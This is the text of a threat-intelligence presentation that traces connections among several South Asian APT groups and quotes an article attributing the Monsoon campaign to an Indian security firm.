- Only difference is the base64 string linking to the payload
Connections

Snake in the Grass
Hangover
Urpage
Patchwork
EHDevel
Confucius
Patchwork – Urpage

- Urpage makes heavy use of an Android malware belonging to the “Bahamut” family

- On July 2018, we found a malware belonging to this family with a C&C belonging to the Patchwork infrastructure
Connections

- Hangover
- Urpage
- Snake in the Grass
- Patchwork
- EHDevel
- Confucius
Final connections graph

- Hangover
- Urpage
- Snake in the Grass
- Patchwork
- EHDevel
- Confucius
Bonus slides

Someone wrote an article at the beginning of September 2018 which attributed Monsoon APT to “Phronesis”

Companies like Phronesis Are Needed For Building Offensive Cyber Security Front

The expansion of Fifth Generation Warfare in cyberspace is one of the major concerns that states are struggling to deal with. Going by the phases of Fifth Generation cyber Warfare, countries today stand amidst of continues cyber-attacks from offensive cyber players like China, which no doubt have aced up their offensive cyber security front, whereas others countries are becoming a victim to their cyber breach adventures like UAE and other middle east countries, who are still trying to catch up.

The recent developments however indicate that private players like Dubai-Indian company “Phronesis” is supporting leaps in building offensive cyber security fronts in need. The most recent of its achievements has been the successful malware attack on Chinese nationals in December 2015. An APT report named “Monsoon” has been published by Forepoint Security Labs as a part of their investigative study, analysing the elements of which develops a direct connection how Phronesis led the strategic attack.

https://medium.com/@mahdiabbastech/companies-like-phronesis-are-needed-for-building-offensive-cyber-security-front-3b6fad7a6ea3
Phronesis is an Indian company founded in 2014 by two retired Indian officers, Brigadier Ram Chhillar and Lieutenant Colonel Bryan Miranda.

It offers services such as “employee monitoring” or forensics.

Indian army is the first in the list of its customers.

Current domain is phronesisindia.com.
Bonus slides

- 3 old domains (2010-2012) from the Cymmetria report used munna.bhai124@gmail.com as contact mail at one point
- Multiple other domains have used that mail in their SOA record

Source: ISC 2016, Qihoo 360 “Helios Team”
The article states that DNS SOA records of multiple domains linked to Phronesis contained the mail munna.bhai124@gmail.com.

- Those records have been modified to remove that mail.
- The proof is still available in websites such as PassiveTotal.

That mail was also linked to domains listed in the Hangover report from 2013.
Conclusion

- We showed that these groups share
  - Code
  - Infrastructure
  - Targets (mainly Pakistan)

- We cannot know if there is only one actor behind all of them, but we can prove the connections between them

- There may be more connections, such as with BITTER group
Any questions?